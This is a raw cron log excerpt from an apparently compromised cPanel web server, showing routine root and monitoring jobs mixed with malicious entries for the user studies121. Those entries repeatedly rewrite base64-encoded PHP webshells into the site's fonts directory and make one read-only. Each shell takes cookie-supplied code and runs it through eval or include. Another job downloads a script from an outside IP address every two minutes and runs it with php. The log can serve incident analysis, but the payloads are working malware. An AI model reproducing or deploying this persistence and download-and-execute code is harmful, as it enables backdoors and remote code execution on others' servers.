Sep 11 19:39:01 ip-184-168-122-23 CROND[25639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:39:01 ip-184-168-122-23 CROND[25641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:39:01 ip-184-168-122-23 CROND[25645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:39:01 ip-184-168-122-23 CROND[25643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:39:01 ip-184-168-122-23 CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:40:01 ip-184-168-122-23 CROND[25761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:40:01 ip-184-168-122-23 CROND[25763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:40:01 ip-184-168-122-23 CROND[25766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:41:01 ip-184-168-122-23 CROND[25862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:41:01 ip-184-168-122-23 CROND[25863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:41:01 ip-184-168-122-23 CROND[25861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:41:01 ip-184-168-122-23 CROND[25864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:42:01 ip-184-168-122-23 CROND[25960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:42:01 ip-184-168-122-23 CROND[25961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:42:01 ip-184-168-122-23 CROND[25964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:42:01 ip-184-168-122-23 CROND[25965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:42:01 ip-184-168-122-23 CROND[25966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:43:01 ip-184-168-122-23 CROND[26053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:43:01 ip-184-168-122-23 CROND[26051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:43:01 ip-184-168-122-23 CROND[26054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:43:01 ip-184-168-122-23 CROND[26052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:44:01 ip-184-168-122-23 CROND[26232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:44:01 ip-184-168-122-23 CROND[26231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:44:01 ip-184-168-122-23 CROND[26235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:44:01 ip-184-168-122-23 CROND[26233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:44:01 ip-184-168-122-23 CROND[26234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:45:01 ip-184-168-122-23 CROND[26339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:46:01 ip-184-168-122-23 CROND[26451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:46:01 ip-184-168-122-23 CROND[26453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:46:01 ip-184-168-122-23 CROND[26455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:46:01 ip-184-168-122-23 CROND[26457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:46:01 ip-184-168-122-23 CROND[26456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:46:01 ip-184-168-122-23 CROND[26458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:46:01 ip-184-168-122-23 CROND[26454]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 19:47:01 ip-184-168-122-23 CROND[26588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:47:01 ip-184-168-122-23 CROND[26589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:47:01 ip-184-168-122-23 CROND[26590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:47:01 ip-184-168-122-23 CROND[26591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:48:01 ip-184-168-122-23 CROND[26724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:48:01 ip-184-168-122-23 CROND[26725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:48:01 ip-184-168-122-23 CROND[26728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:48:01 ip-184-168-122-23 CROND[26726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:48:01 ip-184-168-122-23 CROND[26727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:49:01 ip-184-168-122-23 CROND[26819]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 19:49:01 ip-184-168-122-23 CROND[26820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:49:01 ip-184-168-122-23 CROND[26821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:49:01 ip-184-168-122-23 CROND[26823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:49:01 ip-184-168-122-23 CROND[26822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:50:01 ip-184-168-122-23 CROND[27021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:50:01 ip-184-168-122-23 CROND[27027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:50:01 ip-184-168-122-23 CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:51:01 ip-184-168-122-23 CROND[27151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
